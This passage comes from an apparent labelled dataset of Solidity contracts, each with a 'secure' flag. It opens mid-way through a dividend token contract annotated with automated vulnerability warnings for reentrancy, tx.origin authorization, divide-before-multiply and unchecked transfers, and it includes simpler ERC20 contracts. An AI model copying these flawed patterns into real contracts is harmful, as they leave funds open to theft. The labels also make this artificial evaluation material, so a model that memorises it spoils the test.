_setAutomatedMarketMakerPair(pair, value);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 14bd96b): Reentrancy in SANTOSHI._setAutomatedMarketMakerPair(address,bool) External calls dividendTracker.excludeFromDividends(pair) Event emitted after the call(s) SetAutomatedMarketMakerPair(pair,value)\n\t// Recommendation for 14bd96b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _setAutomatedMarketMakerPair(address pair, bool value) private {\n automatedMarketMakerPairs[pair] = value;\n\n excludeFromMaxTransaction(pair, value);\n\n if (value) {\n\t\t\t// reentrancy-events | ID: 14bd96b\n dividendTracker.excludeFromDividends(pair);\n }\n\n\t\t// reentrancy-events | ID: 14bd96b\n emit SetAutomatedMarketMakerPair(pair, value);\n }\n\n function updateOperationsWallet(address newOperationsWallet) external {\n require(_msgSender() == operationsWallet);\n\n require(newOperationsWallet != address(0), \"may not set to 0 address\");\n excludeFromFees(newOperationsWallet, true);\n emit OperationsWalletUpdated(newOperationsWallet, operationsWallet);\n operationsWallet = newOperationsWallet;\n }\n\n function updateGasForProcessing(uint256 newValue) external onlyOwner {\n require(\n newValue >= 200000 && newValue <= 500000,\n \" gasForProcessing must be between 200,000 and 500,000\"\n );\n require(\n newValue != gasForProcessing,\n \"Cannot update gasForProcessing to same value\"\n );\n emit GasForProcessingUpdated(newValue, gasForProcessing);\n gasForProcessing = newValue;\n }\n\n function updateClaimWait(uint256 claimWait) external onlyOwner {\n dividendTracker.updateClaimWait(claimWait);\n }\n\n function getClaimWait() external view returns (uint256) {\n return dividendTracker.claimWait();\n }\n\n function getTotalDividendsDistributed(\n address rewardToken\n ) external view returns (uint256) {\n return dividendTracker.totalDividendsDistributed(rewardToken);\n }\n\n function isExcludedFromFees(address account) external view returns (bool) {\n return _isExcludedFromFees[account];\n }\n\n function withdrawableDividendOf(\n address account,\n address rewardToken\n ) external view returns (uint256) {\n return dividendTracker.withdrawableDividendOf(account, rewardToken);\n }\n\n function dividendTokenBalanceOf(\n address account\n ) external view returns (uint256) {\n return dividendTracker.holderBalance(account);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 20929a6): SANTOSHI.getAccountDividendsInfo(address,address) ignores return value by dividendTracker.getAccount(account,rewardToken)\n\t// Recommendation for 20929a6: Ensure that all the return values of the function calls are used.\n function getAccountDividendsInfo(\n address account,\n address rewardToken\n )\n external\n view\n returns (\n address,\n int256,\n int256,\n uint256,\n uint256,\n uint256,\n uint256,\n uint256\n )\n {\n\t\t// unused-return | ID: 20929a6\n return dividendTracker.getAccount(account, rewardToken);\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 9159e07): SANTOSHI.getAccountDividendsInfoAtIndex(uint256,address) ignores return value by dividendTracker.getAccountAtIndex(index,rewardToken)\n\t// Recommendation for 9159e07: Ensure that all the return values of the function calls are used.\n function getAccountDividendsInfoAtIndex(\n uint256 index,\n address rewardToken\n )\n external\n view\n returns (\n address,\n int256,\n int256,\n uint256,\n uint256,\n uint256,\n uint256,\n uint256\n )\n {\n\t\t// unused-return | ID: 9159e07\n return dividendTracker.getAccountAtIndex(index, rewardToken);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: a4e4052): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for a4e4052: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function processDividendTracker(uint256 gas) external {\n\t\t// reentrancy-events | ID: a4e4052\n (\n uint256 iterations,\n uint256 claims,\n uint256 lastProcessedIndex\n ) = dividendTracker.process(gas);\n\t\t// reentrancy-events | ID: a4e4052\n emit ProcessedDividendTracker(\n iterations,\n claims,\n lastProcessedIndex,\n false,\n gas,\n tx.origin\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 58f3a32): SANTOSHI.claim() ignores return value by dividendTracker.processAccount(address(msg.sender),false)\n\t// Recommendation for 58f3a32: Ensure that all the return values of the function calls are used.\n function claim() external {\n\t\t// unused-return | ID: 58f3a32\n dividendTracker.processAccount(payable(msg.sender), false);\n }\n\n function getLastProcessedIndex() external view returns (uint256) {\n return dividendTracker.getLastProcessedIndex();\n }\n\n function getNumberOfDividendTokenHolders() external view returns (uint256) {\n return dividendTracker.getNumberOfTokenHolders();\n }\n\n function getNumberOfDividends() external view returns (uint256) {\n return dividendTracker.totalBalance();\n }\n\n function removeLimits() external onlyOwner returns (bool) {\n limitsInEffect = false;\n transferDelayEnabled = false;\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 670c7d2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 670c7d2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: d35a408): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for d35a408: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 4a9f282): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 4a9f282: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ce9eaac): SANTOSHI._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(99).div(100) tokensForOperations += (fees * 33) / 99\n\t// Recommendation for ce9eaac: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: eb0aba6): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for eb0aba6: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 51e93a6): SANTOSHI._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(99).div(100) tokensForRewards += (fees * 33) / 99\n\t// Recommendation for 51e93a6: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 7eac0ac): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 7eac0ac: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: aca1441): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for aca1441: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: eb82f87): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for eb82f87: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 1c31405): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 1c31405: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: ee5cfef): SANTOSHI._transfer(address,address,uint256) performs a multiplication on the result of a division fees = amount.mul(99).div(100) tokensForLiquidity += (fees * 33) / 99\n\t// Recommendation for ee5cfef: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: a050c64): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for a050c64: Consider ordering multiplication before division.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 9edf979): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 9edf979: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n if (amount == 0) {\n super._transfer(from, to, 0);\n return;\n }\n\n if (!tradingActive) {\n require(\n _isExcludedFromFees[from] || _isExcludedFromFees[to],\n \"Trading is not active yet.\"\n );\n }\n\n if (limitsInEffect) {\n if (\n from != owner() &&\n to != owner() &&\n to != address(0) &&\n to != address(0xdead) &&\n !swapping\n ) {\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t\t// tx-origin | ID: 4a9f282\n require(\n _holderLastTransferTimestamp[tx.origin] <\n block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n automatedMarketMakerPairs[from] &&\n !_isExcludedMaxTransactionAmount[to]\n ) {\n require(\n amount + balanceOf(to) <= maxTxn,\n \"Unable to exceed Max Wallet\"\n );\n } else if (!_isExcludedMaxTransactionAmount[to]) {\n require(\n amount + balanceOf(to) <= maxTxn,\n \"Unable to exceed Max Wallet\"\n );\n }\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n bool canSwap = contractTokenBalance >= swapTokensAtAmount;\n\n if (\n canSwap &&\n swapEnabled &&\n !swapping &&\n !automatedMarketMakerPairs[from] &&\n !_isExcludedFromFees[from] &&\n !_isExcludedFromFees[to]\n ) {\n swapping = true;\n\t\t\t// reentrancy-events | ID: 670c7d2\n\t\t\t// reentrancy-events | ID: d35a408\n\t\t\t// reentrancy-eth | ID: 9edf979\n swapBack();\n\t\t\t// reentrancy-eth | ID: 9edf979\n swapping = false;\n }\n\n bool takeFee = !swapping;\n\n if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {\n takeFee = false;\n }\n\n uint256 fees = 0;\n\n if (takeFee) {\n if (\n tradingActiveBlock + 1 >= block.number &&\n (automatedMarketMakerPairs[to] ||\n automatedMarketMakerPairs[from])\n ) {\n\t\t\t\t// divide-before-multiply | ID: ce9eaac\n\t\t\t\t// divide-before-multiply | ID: 51e93a6\n\t\t\t\t// divide-before-multiply | ID: ee5cfef\n fees = amount.mul(99).div(100);\n\t\t\t\t// divide-before-multiply | ID: ee5cfef\n\t\t\t\t// reentrancy-eth | ID: 9edf979\n tokensForLiquidity += (fees * 33) / 99;\n\t\t\t\t// divide-before-multiply | ID: 51e93a6\n\t\t\t\t// reentrancy-eth | ID: 9edf979\n tokensForRewards += (fees * 33) / 99;\n\t\t\t\t// divide-before-multiply | ID: ce9eaac\n\t\t\t\t// reentrancy-eth | ID: 9edf979\n tokensForOperations += (fees * 33) / 99;\n } else if (automatedMarketMakerPairs[to] && totalSellFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: eb0aba6\n\t\t\t\t// divide-before-multiply | ID: 7eac0ac\n\t\t\t\t// divide-before-multiply | ID: 1c31405\n fees = amount.mul(totalSellFees).div(feeDivisor);\n\t\t\t\t// divide-before-multiply | ID: 7eac0ac\n\t\t\t\t// reentrancy-eth | ID: 9edf979\n tokensForRewards += (fees * rewardsSellFee) / totalSellFees;\n\t\t\t\t// divide-before-multiply | ID: 1c31405\n\t\t\t\t// reentrancy-eth | ID: 9edf979\n tokensForLiquidity += (fees * liquiditySellFee) / totalSellFees;\n\t\t\t\t// divide-before-multiply | ID: eb0aba6\n\t\t\t\t// reentrancy-eth | ID: 9edf979\n tokensForOperations +=\n (fees * operationsSellFee) /\n totalSellFees;\n } else if (automatedMarketMakerPairs[from] && totalBuyFees > 0) {\n\t\t\t\t// divide-before-multiply | ID: aca1441\n\t\t\t\t// divide-before-multiply | ID: eb82f87\n\t\t\t\t// divide-before-multiply | ID: a050c64\n fees = amount.mul(totalBuyFees).div(feeDivisor);\n\t\t\t\t// divide-before-multiply | ID: a050c64\n\t\t\t\t// reentrancy-eth | ID: 9edf979\n tokensForRewards += (fees * rewardsBuyFee) / totalBuyFees;\n\t\t\t\t// divide-before-multiply | ID: aca1441\n\t\t\t\t// reentrancy-eth | ID: 9edf979\n tokensForLiquidity += (fees * liquidityBuyFee) / totalBuyFees;\n\t\t\t\t// divide-before-multiply | ID: eb82f87\n\t\t\t\t// reentrancy-eth | ID: 9edf979\n tokensForOperations += (fees * operationsBuyFee) / totalBuyFees;\n }\n\n if (fees > 0) {\n\t\t\t\t// reentrancy-events | ID: 670c7d2\n\t\t\t\t// reentrancy-eth | ID: 9edf979\n super._transfer(from, address(this), fees);\n }\n\n amount -= fees;\n }\n\n\t\t// reentrancy-events | ID: 670c7d2\n\t\t// reentrancy-eth | ID: 9edf979\n super._transfer(from, to, amount);\n\n\t\t// reentrancy-events | ID: d35a408\n dividendTracker.setBalance(payable(from), balanceOf(from));\n\t\t// reentrancy-events | ID: d35a408\n dividendTracker.setBalance(payable(to), balanceOf(to));\n\n if (!swapping && gasForProcessing > 0) {\n uint256 gas = gasForProcessing;\n\n\t\t\t// reentrancy-events | ID: d35a408\n try dividendTracker.process(gas) returns (\n uint256 iterations,\n uint256 claims,\n uint256 lastProcessedIndex\n ) {\n\t\t\t\t// reentrancy-events | ID: d35a408\n emit ProcessedDividendTracker(\n iterations,\n claims,\n lastProcessedIndex,\n true,\n gas,\n tx.origin\n );\n } catch {}\n }\n }\n\n function swapTokensForEth(uint256 tokenAmount) private {\n address[] memory path = new address[](2);\n path[0] = address(this);\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 12bddcb\n\t\t// reentrancy-events | ID: 670c7d2\n\t\t// reentrancy-events | ID: d35a408\n\t\t// reentrancy-benign | ID: 1f2788b\n\t\t// reentrancy-no-eth | ID: 734114e\n\t\t// reentrancy-eth | ID: 9edf979\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: b4f664f): SANTOSHI.addLiquidity(uint256,uint256) ignores return value by uniswapV2Router.addLiquidityETH{value ethAmount}(address(this),tokenAmount,0,0,address(operationsWallet),block.timestamp)\n\t// Recommendation for b4f664f: Ensure that all the return values of the function calls are used.\n function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 12bddcb\n\t\t// reentrancy-events | ID: 670c7d2\n\t\t// reentrancy-events | ID: d35a408\n\t\t// reentrancy-benign | ID: 1f2788b\n\t\t// unused-return | ID: b4f664f\n\t\t// reentrancy-eth | ID: 9edf979\n uniswapV2Router.addLiquidityETH{value: ethAmount}(\n address(this),\n tokenAmount,\n 0,\n 0,\n address(operationsWallet),\n block.timestamp\n );\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 12bddcb): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 12bddcb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1f2788b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1f2788b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 734114e): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 734114e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: e9761ab): SANTOSHI.swapBack() sends eth to arbitrary user Dangerous calls (success,None) = address(operationsWallet).call{value address(this).balance}()\n\t// Recommendation for e9761ab: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n\t// WARNING Vulnerability (write-after-write | severity: Medium | ID: 4d2009c): SANTOSHI.swapBack().success is written in both (success,None) = address(dividendTracker).call{value ethForRewards}() (success,None) = address(operationsWallet).call{value address(this).balance}()\n\t// Recommendation for 4d2009c: Fix or remove the writes.\n function swapBack() private {\n uint256 contractBalance = balanceOf(address(this));\n uint256 totalTokensToSwap = tokensForLiquidity +\n tokensForOperations +\n tokensForRewards;\n\n if (contractBalance == 0 || totalTokensToSwap == 0) {\n return;\n }\n\n uint256 liquidityTokens = (contractBalance * tokensForLiquidity) /\n totalTokensToSwap /\n 2;\n uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);\n\n uint256 initialETHBalance = address(this).balance;\n\t\t// reentrancy-events | ID: 12bddcb\n\t\t// reentrancy-benign | ID: 1f2788b\n\t\t// reentrancy-no-eth | ID: 734114e\n\n swapTokensForEth(amountToSwapForETH);\n\n uint256 ethBalance = address(this).balance.sub(initialETHBalance);\n\n uint256 ethForOperations = ethBalance.mul(tokensForOperations).div(\n totalTokensToSwap - (tokensForLiquidity / 2)\n );\n uint256 ethForRewards = ethBalance.mul(tokensForRewards).div(\n totalTokensToSwap - (tokensForLiquidity / 2)\n );\n\n uint256 ethForLiquidity = ethBalance - ethForOperations - ethForRewards;\n\t\t// reentrancy-no-eth | ID: 734114e\n\n\t\t// reentrancy-no-eth | ID: 734114e\n tokensForLiquidity = 0;\n\t\t// reentrancy-no-eth | ID: 734114e\n tokensForOperations = 0;\n tokensForRewards = 0;\n\n\t\t\t// reentrancy-events | ID: 12bddcb\n\t\t\t// reentrancy-benign | ID: 1f2788b\n if (liquidityTokens > 0 && ethForLiquidity > 0) {\n\t\t\t// reentrancy-events | ID: 12bddcb\n addLiquidity(liquidityTokens, ethForLiquidity);\n emit SwapAndLiquify(\n amountToSwapForETH,\n ethForLiquidity,\n tokensForLiquidity\n );\n }\n\t\t// reentrancy-events | ID: 670c7d2\n\t\t// reentrancy-events | ID: d35a408\n\t\t// write-after-write | ID: 4d2009c\n\n\t\t// reentrancy-eth | ID: 9edf979\n (bool success, ) = address(dividendTracker).call{value: ethForRewards}(\n \"\"\n );\n\n\t\t// reentrancy-events | ID: 670c7d2\n\t\t// reentrancy-events | ID: d35a408\n\t\t// write-after-write | ID: 4d2009c\n\t\t// reentrancy-eth | ID: 9edf979\n\t\t// arbitrary-send-eth | ID: e9761ab\n (success, ) = address(operationsWallet).call{\n value: address(this).balance\n }(\"\");\n }\n\n function withdrawStuckEth() external onlyOwner {\n (bool success, ) = address(msg.sender).call{\n value: address(this).balance\n }(\"\");\n require(success, \"failed to withdraw\");\n }\n\n function requestToWithdrawLP(uint256 percToWithdraw) external onlyOwner {\n require(\n !lpWithdrawRequestPending,\n \"Cannot request again until first request is over.\"\n );\n require(\n percToWithdraw <= 100 && percToWithdraw > 0,\n \"Need to set between 1-100%\"\n );\n lpWithdrawRequestTimestamp = block.timestamp;\n lpWithdrawRequestPending = true;\n lpPercToWithDraw = percToWithdraw;\n emit RequestedLPWithdraw();\n }\n\n function nextAvailableLpWithdrawDate() public view returns (uint256) {\n if (lpWithdrawRequestPending) {\n return lpWithdrawRequestTimestamp + lpWithdrawRequestDuration;\n } else {\n return 0;\n }\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: 0753d00): Dangerous usage of 'block.timestamp'. 'block.timestamp' can be manipulated by miners.\n\t// Recommendation for 0753d00: Avoid relying on 'block.timestamp'.\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 2d0e1bc): SANTOSHI.withdrawRequestedLP() ignores return value by IERC20(uniswapV2Pair).transfer(msg.sender,amtToWithdraw)\n\t// Recommendation for 2d0e1bc: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function withdrawRequestedLP() external onlyOwner {\n\t\t// timestamp | ID: 0753d00\n require(\n block.timestamp >= nextAvailableLpWithdrawDate() &&\n nextAvailableLpWithdrawDate() > 0,\n \"Must request and wait.\"\n );\n lpWithdrawRequestTimestamp = 0;\n lpWithdrawRequestPending = false;\n\n uint256 amtToWithdraw = (IERC20(address(uniswapV2Pair)).balanceOf(\n address(this)\n ) * lpPercToWithDraw) / 100;\n\n lpPercToWithDraw = 0;\n\n\t\t// unchecked-transfer | ID: 2d0e1bc\n IERC20(uniswapV2Pair).transfer(msg.sender, amtToWithdraw);\n }\n\n function cancelLPWithdrawRequest() external onlyOwner {\n lpWithdrawRequestPending = false;\n lpPercToWithDraw = 0;\n lpWithdrawRequestTimestamp = 0;\n emit CanceledLpWithdrawRequest();\n }\n}",
"file_name": "solidity_code_1823.sol",
"secure": 0,
"size_bytes": 36993
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n _owner = msgSender;\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Caller is not the owner\");\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(newOwner != address(0), \"New owner is the zero address\");\n emit OwnershipTransferred(_owner, newOwner);\n _owner = newOwner;\n }\n}",
"file_name": "solidity_code_1824.sol",
"secure": 1,
"size_bytes": 1089
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ncontract MathOperators5 {\n uint256 public a = 5;\n function Operator_1() public {\n a <<= 2;\n }\n}",
"file_name": "solidity_code_1825.sol",
"secure": 1,
"size_bytes": 178
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/interfaces/IERC20Metadata.sol\" as IERC20Metadata;\n\ncontract ERC20 is Context, IERC20, IERC20Metadata {\n mapping(address => uint256) internal _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 private _totalSupply;\n string private _name;\n string private _symbol;\n\n constructor(string memory name_, string memory symbol_) {\n _name = name_;\n _symbol = symbol_;\n }\n\n function name() public view virtual override returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual override returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual override returns (uint8) {\n return 18;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amount,\n \"Transfer amount exceeds allowance\"\n );\n unchecked {\n _approve(sender, _msgSender(), currentAllowance - amount);\n }\n\n return true;\n }\n\n function increaseAllowance(\n address spender,\n uint256 addedValue\n ) public virtual returns (bool) {\n _approve(\n _msgSender(),\n spender,\n _allowances[_msgSender()][spender] + addedValue\n );\n return true;\n }\n\n function decreaseAllowance(\n address spender,\n uint256 subtractedValue\n ) public virtual returns (bool) {\n uint256 currentAllowance = _allowances[_msgSender()][spender];\n require(\n currentAllowance >= subtractedValue,\n \"Decreased allowance below zero\"\n );\n unchecked {\n _approve(_msgSender(), spender, currentAllowance - subtractedValue);\n }\n\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"Transfer from the zero address\");\n require(recipient != address(0), \"Transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(senderBalance >= amount, \"Transfer amount exceeds balance\");\n unchecked {\n _balances[sender] = senderBalance - amount;\n }\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"Mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"Burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"Burn amount exceeds balance\");\n unchecked {\n _balances[account] = accountBalance - amount;\n }\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"Approve from the zero address\");\n require(spender != address(0), \"Approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_1826.sol",
"secure": 1,
"size_bytes": 5193
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract ERC20Burnable is Context, ERC20, Ownable {\n function burn(uint256 amount) public virtual {\n _burn(_msgSender(), amount);\n }\n\n function burnFrom(address account, uint256 amount) public virtual {\n uint256 currentAllowance = allowance(account, _msgSender());\n require(currentAllowance >= amount, \"Burn amount exceeds allowance\");\n unchecked {\n _approve(account, _msgSender(), currentAllowance - amount);\n }\n _burn(account, amount);\n }\n}",
"file_name": "solidity_code_1827.sol",
"secure": 1,
"size_bytes": 788
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\nabstract contract ERC20Lockable is ERC20, Ownable {\n struct LockInfo {\n uint256 _releaseTime;\n uint256 _amount;\n }\n\n mapping(address => LockInfo[]) internal _locks;\n mapping(address => uint256) internal _totalLocked;\n\n event Lock(address indexed from, uint256 amount, uint256 releaseTime);\n event Unlock(address indexed from, uint256 amount);\n\n modifier checkLock(address from, uint256 amount) {\n uint256 length = _locks[from].length;\n if (length > 0) {\n autoUnlock(from);\n }\n require(\n _balances[from] >= _totalLocked[from] + amount,\n \"Cannot send more than unlocked amount\"\n );\n _;\n }\n\n function _lock(\n address from,\n uint256 amount,\n uint256 releaseTime\n ) internal returns (bool success) {\n require(\n _balances[from] >= amount + _totalLocked[from],\n \"Locked total should be smaller than balance\"\n );\n _totalLocked[from] = _totalLocked[from] + amount;\n _locks[from].push(LockInfo(releaseTime, amount));\n emit Lock(from, amount, releaseTime);\n success = true;\n }\n\n function _unlock(\n address from,\n uint256 index\n ) internal returns (bool success) {\n LockInfo storage info = _locks[from][index];\n _totalLocked[from] = _totalLocked[from] - info._amount;\n emit Unlock(from, info._amount);\n _locks[from][index] = _locks[from][_locks[from].length - 1];\n _locks[from].pop();\n success = true;\n }\n\n\t// WARNING Vulnerability (timestamp | severity: Low | ID: c738433): ERC20Lockable.autoUnlock(address) uses timestamp for comparisons Dangerous comparisons _locks[from][i]._releaseTime < block.timestamp\n\t// Recommendation for c738433: Avoid relying on 'block.timestamp'.\n function autoUnlock(address from) public returns (bool success) {\n for (uint256 i = 0; i < _locks[from].length; i++) {\n\t\t\t// timestamp | ID: c738433\n if (_locks[from][i]._releaseTime < block.timestamp) {\n _unlock(from, i);\n }\n }\n success = true;\n }\n\n function unlock(\n address from,\n uint256 idx\n ) public onlyOwner returns (bool success) {\n require(_locks[from].length > idx, \"There is no lock information.\");\n _unlock(from, idx);\n success = true;\n }\n\n function releaseLock(\n address from\n ) external onlyOwner returns (bool success) {\n require(_locks[from].length > 0, \"There is no lock information.\");\n for (uint256 i = _locks[from].length; i > 0; i--) {\n _unlock(from, i - 1);\n }\n success = true;\n }\n\n function transferWithLock(\n address recipient,\n uint256 amount,\n uint256 releaseTime\n ) external onlyOwner returns (bool success) {\n require(recipient != address(0));\n _transfer(msg.sender, recipient, amount);\n _lock(recipient, amount, releaseTime);\n success = true;\n }\n\n function lockInfo(\n address locked,\n uint256 index\n ) public view returns (uint256 releaseTime, uint256 amount) {\n LockInfo memory info = _locks[locked][index];\n releaseTime = info._releaseTime;\n amount = info._amount;\n }\n\n function totalLocked(\n address locked\n ) public view returns (uint256 amount, uint256 length) {\n amount = _totalLocked[locked];\n length = _locks[locked].length;\n }\n}",
"file_name": "solidity_code_1828.sol",
"secure": 0,
"size_bytes": 3804
} |
{
